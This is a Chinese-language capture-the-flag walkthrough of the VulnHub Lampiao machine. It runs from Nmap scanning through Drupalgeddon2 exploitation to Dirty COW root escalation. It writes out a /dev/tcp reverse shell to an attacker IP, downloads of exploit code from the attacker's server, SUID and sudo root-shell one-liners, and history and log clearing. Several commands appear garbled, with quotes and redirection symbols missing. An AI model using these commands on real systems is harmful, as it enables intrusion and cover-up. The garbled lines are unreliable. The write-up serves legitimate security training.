从信息收集到权限提升:Lampiao靶机渗透实战全解析
1. 项目概述一次对Lampiao靶机的完整渗透剖析最近在整理渗透测试的学习笔记翻到了几年前做过的Lampiao靶机。这个靶机在VulnHub上挺有名的是一个基于Ubuntu的Linux服务器模拟了一个存在多个漏洞的Web应用环境。它之所以经典是因为整个渗透路径串联了从信息收集、Web漏洞利用到权限提升的多个核心环节非常适合用来巩固基础。今天我就把这个过程从头到尾拆解一遍不仅复现步骤更关键的是聊聊每个环节背后的思路和踩过的坑。无论你是刚入门安全的新手还是想温故知新的同行希望这篇详尽的复盘能给你带来一些实操上的启发。简单来说这次渗透的目标是获取Lampiao靶机假设其IP为192.168.1.100的最高权限root shell。整个过程会经历网络发现与端口扫描、Web目录枚举与敏感信息发现、利用已知漏洞获取初始立足点、在系统内部进行信息收集最后通过内核漏洞完成权限提升。我们会用到Nmap、Dirb、Searchsploit、Metasploit等常见工具但重点不在于工具本身而在于如何将它们组合起来形成有效的攻击链。2. 环境准备与初始信息收集渗透测试的第一步永远是信息收集它的质量直接决定了后续所有动作的效率和成功率。对于Lampiao这样的独立靶机我们首先需要找到它。2.1 目标定位与网络扫描在实战中目标IP可能通过资产梳理、域名解析或其他情报获得。在实验环境如VMware或VirtualBox搭建的局域网中我们通常使用netdiscover或nmap进行存活主机扫描。sudo netdiscover -r 192.168.1.0/24假设我们发现了192.168.1.100这个活跃主机。接下来就要用Nmap对其进行深度端口扫描这是了解目标开放服务、操作系统和潜在入口点的关键。nmap -sS -sV -O -p- 192.168.1.100 -oN nmap_initial.txt这里有几个参数值得解释-sS: TCP SYN扫描一种半开放扫描相对隐蔽且快速。-sV: 版本探测尝试识别运行在开放端口上的服务及其具体版本号。知道版本号才能匹配已知漏洞。-O: 启用操作系统检测。-p-: 扫描所有65535个端口避免遗漏高端口服务。-oN: 将标准格式结果输出到文件便于后续查阅。扫描结果通常会显示类似以下内容PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))注意这里出现了两个HTTP端口80和1898。在渗透测试中非标准端口如1898往往容易被忽视但恰恰可能承载着测试或管理后台是重要的突破口。务必对每一个开放端口都给予同等关注。2.2 Web应用初步侦察发现Web服务后我们首先通过浏览器直接访问。访问http://192.168.1.100:80可能是一个默认Apache页面或没有内容。而访问http://192.168.1.100:1898则可能呈现出一个具体的Web应用——这正是Lampiao靶机的主战场。手动浏览首先像普通用户一样点击所有链接、表单观察URL结构、参数、使用的技术查看页面源码注意JavaScript框架、注释等。使用浏览器开发者工具F12查看网络请求和响应头有时能发现隐藏的API路径或调试信息。目录与文件枚举这是发现隐藏入口、备份文件、配置文件的核心步骤。我习惯使用gobuster或dirb。gobuster dir -u http://192.168.1.100:1898 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak-u: 目标URL。-w: 字典路径。common.txt是一个基础字典对于更深入的测试可以换用更大的字典如big.txt或directory-list-2.3-medium.txt。-x: 尝试这些扩展名。bak、old、tar.gz等扩展名常常对应着源代码或配置备份里面可能包含数据库密码、API密钥等敏感信息。在这个阶段对Lampiao的扫描极有可能发现一个关键目录比如/admin、/backup或一个特定的CMS如Drupal的登录入口。发现的内容将直接导向下一步的漏洞利用。3. 漏洞挖掘与初始访问获取信息收集为我们绘制了攻击面地图接下来就是寻找并利用薄弱点拿到进入系统的第一道门禁。3.1 识别CMS与已知漏洞利用假设通过目录枚举我们发现在http://192.168.1.100:1898上运行着一个旧版本的Drupal内容管理系统。Drupal历史上存在过一些严重漏洞例如著名的DrupalgeddonCVE-2018-7600。版本确认访问/CHANGELOG.txt或/core/CHANGELOG.txt等Drupal常见文件确认其具体版本号例如Drupal 7.x。搜索漏洞利用代码使用searchsploit在本地漏洞库中查找。searchsploit drupal 7.x这会列出所有相关的漏洞利用脚本。我们需要仔细阅读描述找到匹配目标版本和环境的脚本。对于Drupalgeddon可能会有Ruby、Python或Metasploit模块等多种利用方式。使用Metasploit进行利用Metasploit提供了高度集成的利用模块对于此类已知漏洞非常方便。msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.100 set RPORT 1898 set TARGETURI / exploit如果漏洞存在且利用成功我们将获得一个Meterpreter会话。Meterpreter是一个功能强大的后渗透代理提供了文件系统交互、命令执行、信息收集等能力。实操心得并非所有公开的Exploit都能一次成功。可能因为目标环境配置、网络限制如防火墙、WAF或Exploit脚本本身的小问题导致失败。此时需要仔细阅读Exploit脚本的代码和注释理解其原理。尝试调整参数如TARGETURI。寻找不同语言编写的替代Exploit脚本Python版可能比Ruby版更稳定。手动利用有时根据漏洞原理手动构造一个HTTP请求用cURL或Burp Suite来执行命令反而更直接可靠。3.2 建立稳定Shell与初步立足通过Metasploit获得的Meterpreter会话虽然强大但可能不够稳定特别是反向连接可能被中断。因此获取一个稳定的标准Shell是必须的。在Meterpreter中获取标准Shellmeterpreter shell这会弹出一个可能是非常简陋的Shell比如sh。我们首先升级到功能更完整的bashShell。python -c import pty; pty.spawn(/bin/bash)或者如果python不可用/bin/bash -i创建持久化反向Shell为了在会话断开后能重新连接我们通常在目标机器上生成一个反向Shell连接。先在攻击机Kali上监听一个端口nc -lvnp 4444然后在目标Shell中使用多种方法之一创建连接bash -i /dev/tcp/192.168.1.50/4444 01假设攻击机IP是192.168.1.50也可以上传一个用msfvenom生成的持久化后门程序但动作更大可能触发防护。至此我们已经成功突破了边界在Lampiao服务器上获得了一个初始的、低权限的用户Shell通常是www-data即运行Web服务的用户。这是整个渗透过程中从0到1的质变。4. 内部信息收集与横向移动进入系统内部后视野从外部扫描变成了内部侦查。目标是收集足够的信息找到通往更高权限通常是root的路径。4.1 系统与用户信息枚举以www-data身份我们可以运行一系列命令来绘制内部环境图# 查看当前用户和权限 id whoami # 查看系统版本和内核信息为后续提权做准备 uname -a cat /etc/issue cat /etc/*-release # 查看网络连接和监听端口发现内部其他服务 netstat -antup ss -tulpn # 查看进程列表寻找以root运行的有趣进程 ps aux | grep root # 查看计划任务可能有配置不当的脚本 crontab -l ls -la /etc/cron* # 查看可写目录和文件寻找利用点 find / -type f -writable 2/dev/null | grep -v /proc find / -type d -writable 2/dev/null | grep -v /proc # 查看用户主目录和历史命令可能发现密码或操作习惯 ls -la /home/ cat ~/.bash_history4.2 敏感文件与凭证搜寻Web服务器上经常遗留配置文件或备份文件其中可能包含数据库密码或其他系统的访问凭证。# 检查Web根目录下的配置文件 find /var/www/ -name *.php -type f -exec grep -l password\|passwd\|pwd\|DB_PASS\|mysql_connect {} \; 2/dev/null # 查看常见的配置文件 cat /var/www/html/sites/default/settings.php # Drupal配置文件 cat /var/www/html/wp-config.php # WordPress配置文件 # 搜索整个系统的密码相关文件 find / -name *.txt -o -name *.bak -o -name *config* -o -name *.sql 2/dev/null | head -20在Lampiao的案例中我们很可能在某个配置文件或用户目录的隐藏文件中找到另一个系统用户比如一个叫tiago的用户的SSH私钥或密码哈希。如果找到SSH私钥需要将其复制到攻击机修改权限后尝试登录# 在攻击机上 chmod 600 id_rsa_tiago ssh -i id_rsa_tiago tiago192.168.1.100如果找到密码哈希可能在/etc/shadow中但www-data通常无权读取可以尝试用john或hashcat进行破解。成功切换到另一个用户如tiago可能意味着我们拥有了更多的文件读取权限离root更近一步。5. 权限提升从普通用户到Root提权是渗透测试的最终目标也是最能体现技术深度的一环。方法主要分为两大类利用内核漏洞和利用配置错误/权限问题。5.1 内核漏洞提权Dirty COW在之前的uname -a命令输出中我们可能看到类似Linux lampiao 3.13.0-32-generic的内核信息。对于3.x系列的Linux内核Dirty COWCVE-2016-5195是一个极其经典且可靠的本地提权漏洞。漏洞验证使用脚本检查系统是否存在已知提权漏洞。# 上传或在线下载linux-exploit-suggester.sh等脚本 wget http://192.168.1.50/linux-exploit-suggester.sh -O /tmp/les.sh chmod x /tmp/les.sh /tmp/les.sh脚本会列出可能的漏洞Dirty COW很可能在列。利用漏洞我们需要将漏洞利用代码Exploit上传到目标服务器。可以从攻击机开启一个简单的HTTP服务# 在攻击机Kali上 python3 -m http.server 8080然后在目标Shell中下载并编译Exploit以Dirty COW的一个常见版本为例# 在目标机Lampiao上 cd /tmp wget http://192.168.1.50:8080/dirty.c gcc -pthread dirty.c -o dirty -lcrypt注意事项目标机器上可能没有gcc。如果遇到这种情况就需要在攻击机上编译好对应架构通常是x86或x64的二进制文件然后直接上传。可以使用file命令查看系统架构。执行提权./dirty执行后Exploit会创建一个新的root权限用户例如用户名为firefart密码为password。然后我们可以切换到这个用户su firefart输入密码后执行id命令如果显示uid0(root)则提权成功。5.2 其他提权向量检查内核漏洞是“重型武器”但有时不适用或失败。我们必须并行检查其他常见的提权路径它们往往更隐蔽SUID/SGID文件查找设置了SUID位且属主是root的可执行文件。如果这些程序存在漏洞或能被滥用就可能以root身份执行命令。find / -type f -perm -4000 -o -perm -2000 2/dev/null重点关注nmap旧版本交互模式、vim、find、bash、cp、mv等。例如如果find有SUID位可以这样提权touch /tmp/rootshell find /tmp/rootshell -exec /bin/bash -p \;Sudo权限检查当前用户可以用sudo以root身份运行哪些命令。sudo -l如果结果显示用户可以无密码运行某个命令如/usr/bin/python、/usr/bin/perl、/usr/bin/vi等就可以直接启动一个root shellsudo python -c import os; os.system(/bin/bash)Capabilities能力一种更细粒度的权限划分。getcap -r / 2/dev/null例如如果/usr/bin/python被赋予了cap_setuidep能力那么Python脚本就能直接设置用户ID从而提权。PATH环境变量劫持如果有一个以root权限运行的脚本或程序它调用了系统命令如ls、cp但没有使用绝对路径我们就可以通过控制PATH环境变量让它执行我们恶意版本的命令。# 假设/root/script.sh 里调用了 service apache2 restart echo /bin/bash /tmp/service chmod x /tmp/service export PATH/tmp:$PATH # 然后等待或触发root用户执行/root/script.sh在Lampiao靶机中最直接有效的路径通常是利用内核漏洞如Dirty COW快速获得root权限。但全面检查上述向量是一个优秀渗透测试员的习惯它能确保不遗漏任何机会并在内核漏洞利用失败时提供备选方案。6. 后渗透清理与痕迹管理在获得root权限后渗透测试的主要目标已经达成。但在实战演练或授权测试中出于职业道德和避免对系统造成不必要影响通常需要进行简单的清理。删除上传的工具和文件删除在/tmp、/dev/shm等目录上传的Exploit、扫描脚本、后门等。rm -f /tmp/dirty /tmp/dirty.c /tmp/les.sh清除命令历史清除当前用户和root用户的命令历史记录。echo ~/.bash_history history -c # 如果是root也清理/root/.bash_history检查并清理日志谨慎操作在授权测试中可能需要记录攻击路径而非完全清除。在非授权环境中此步骤是违法的。仅作知识性了解# 查看相关日志 cat /var/log/auth.log | grep -i accepted cat /var/log/apache2/access.log | tail -50 # 清空日志不推荐在真实测试中随意使用 # /var/log/auth.log # /var/log/apache2/access.log对于Lampiao这样的练习靶机最后一步通常是获取证明标志Proof Flag。在/root或/home目录下往往有一个名为flag.txt、proof.txt或root.txt的文件其内容就是最终的胜利凭证。cat /root/root.txt7. 常见问题与排查技巧实录在整个渗透过程中几乎不可能一帆风顺。下面是我在多次演练中遇到的一些典型问题及解决思路问题场景可能原因排查与解决思路Nmap扫描无结果目标主机防火墙丢弃ICMP/探测包使用-Pn参数跳过主机发现直接扫描端口。尝试-sT全连接扫描但更易被记录。Web目录枚举无发现字典不匹配或目标有WAF/速率限制换用更大的字典如directory-list-2.3-medium.txt。使用--delay参数降低扫描速度。尝试使用不同的工具如dirsearch、ffuf对比结果。Exploit执行失败目标服务版本不匹配、路径错误、依赖缺失用searchsploit -x 编号仔细查看Exploit代码的说明和依赖。手动用curl或浏览器验证漏洞点。尝试在Metasploit中设置Check选项。寻找该漏洞的其他利用脚本。反向Shell连接不上目标出站流量被防火墙阻止或监听命令错误检查攻击机防火墙是否允许入站连接。尝试不同端口如53, 443, 8080。确认目标命令中的IP和端口正确。尝试使用其他反向Shell payload如Python, PHP, Perl。提权Exploit编译失败目标系统缺少gcc或依赖库在攻击机Kali上交叉编译对应架构的二进制文件后上传。使用file命令确认目标架构。寻找已编译好的二进制Exp。尝试其他不需要编译的提权方法如SUID、sudo。获得的Shell不稳定Shell环境受限如rbash或连接易中断使用python pty技巧升级为完全交互式TTY。使用socat或script命令改善Shell。尝试通过Web漏洞写入一个Web Shell作为备用通道。一个关键的实操心得信息收集阶段多花一分钟漏洞利用阶段可能少花一小时。不要一看到开放端口就急着上Exploit。仔细分析Nmap的-sV版本信息、Web应用的指纹、HTTP响应头这些细节往往能直接告诉你最有效的攻击路径是什么。例如看到Apache/2.4.7和Drupal 7.x有经验的人会立刻联想到Drupalgeddon而不是盲目地去测试SQL注入。另一个技巧是善用代理和流量记录。在浏览器访问或使用命令行工具时配合Burp Suite或ZAP等代理工具可以拦截、查看、重放所有HTTP/HTTPS请求。这对于分析复杂的Web应用交互、手动构造攻击Payload、绕过简单的客户端验证至关重要。很多时候自动化工具扫不出来的漏洞通过手动分析请求和响应就能发现端倪。